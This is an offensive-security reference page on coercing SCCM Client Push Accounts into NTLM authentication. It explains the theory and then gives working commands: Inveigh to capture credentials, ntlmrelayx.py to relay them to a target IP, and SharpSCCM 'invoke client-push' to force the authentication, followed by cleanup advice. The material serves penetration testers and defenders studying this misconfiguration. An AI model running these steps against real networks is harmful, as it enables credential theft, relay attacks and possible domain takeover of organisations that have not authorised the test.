Skip to content

Client Push account authentication coercion

Theory

If SCCM is deployed via Client Push Accounts, it is possible, from a compromised SCCM client, to coerce the Client Push Account into authenticating to an arbitrary remote resource. It is then possible to retrieve NTLM authentication data in order to crack the account's password or relay the data to other services. Client Push Accounts are privileged as they are required to have local administrator rights on workstations on which they deploy the SCCM client.

For additional attack techniques and defense strategies related to client push account coercion in SCCM, refer to the following techniques from the Misconfiguration-Manager repository:

In some case, the "Client Push Accounts" could even be part of the Domain Admins group, leading to a complete takeover of the domain.

Practice

Authentication Coercion via Client Push Installation

The client push installation can be triggered forcefully or - if you're lucky - your compromised machine might not have the SCCM client installed, which mean you could capture the client push installation as it occurs.

Option 1: Wait for Client Push Installation

powershell
# Credential capture using Inveigh 
Inveigh.exe

Option 2: Forcefully "coerce" the Client Push Installation

One should read this blog before continuing, as this attack might leave traces behind and might mess things up with the SCCM environment.

Step 1: prepare coercion listener

Note that you could either capture & crack received credentials or relay them to a suitable target system (or both).

sh
# On Linux
## Relay using ntlmrelayx.py
ntlmrelayx.py -smb2support -socks -ts -ip 10.250.2.100 -t 10.250.2.179
powershell
# On Windows
## Credential capture using Inveigh 
Inveigh.exe
Step 2: trigger Client-Push Installation
PowerShell
# If admin access over Management Point (MP)
SharpSCCM.exe invoke client-push -t $TARGET --as-admin

# If not MP admin
SharpSCCM.exe invoke client-push -t $TARGET
Step 3: cleanup

If you run the above SharpSCCM command with the --as-admin parameter (since you have admin privileges over the MP), there's nothing to do. Otherwise, get in contact with the administrator of the SCCM system you just messed up and provide the name or IP of the attacker server you provided in the -t $TARGET parameter. This is the device name that will appear in SCCM.

Resources

https://www.hub.trimarcsecurity.com/post/push-comes-to-shove-exploring-the-attack-surface-of-sccm-client-push-accounts

https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a

https://github.com/subat0mik/Misconfiguration-Manager/tree/main/attack-techniques/ELEVATE

https://github.com/subat0mik/Misconfiguration-Manager/tree/main/attack-techniques/COERCE